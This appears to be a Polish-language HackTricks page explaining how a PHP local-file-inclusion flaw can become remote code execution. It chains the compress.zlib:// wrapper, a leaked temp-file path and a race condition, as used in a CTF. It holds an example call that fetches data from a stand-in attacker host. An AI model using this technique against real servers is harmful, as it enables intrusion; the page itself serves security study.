4.3 KiB
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
compress.zlib://
i PHP_STREAM_PREFER_STDIO
Plik otwarty za pomocą protokołu compress.zlib://
z flagą PHP_STREAM_PREFER_STDIO
może kontynuować zapisywanie danych, które przychodzą do połączenia później do tego samego pliku.
To oznacza, że wywołanie takie jak:
file_get_contents("compress.zlib://http://attacker.com/file")
Wyśle żądanie o http://attacker.com/file, wtedy serwer może odpowiedzieć na żądanie ważną odpowiedzią HTTP, utrzymać połączenie otwarte i wysłać dodatkowe dane trochę później, które również zostaną zapisane w pliku.
Możesz zobaczyć te informacje w tej części kodu php-src w main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Warunek wyścigu do RCE
Ten CTF został rozwiązany przy użyciu poprzedniego triku.
Atakujący sprawi, że serwer ofiary otworzy połączenie, odczytując plik z serwera atakującego za pomocą protokołu compress.zlib
.
Podczas gdy to połączenie istnieje, atakujący wyeksfiltruje ścieżkę do utworzonego pliku tymczasowego (jest ujawniana przez serwer).
Podczas gdy połączenie jest nadal otwarte, atakujący wykorzysta LFI, ładując plik tymczasowy, który kontroluje.
Jednak w serwerze WWW istnieje sprawdzenie, które zapobiega ładowaniu plików zawierających <?
. Dlatego atakujący wykorzysta Warunek wyścigu. W połączeniu, które jest nadal otwarte, atakujący wyśle ładunek PHP PO tym, jak serwer WWW sprawdzi, czy plik zawiera zabronione znaki, ale PRZED załadowaniem jego zawartości.
Aby uzyskać więcej informacji, sprawdź opis Warunku wyścigu i CTF w https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.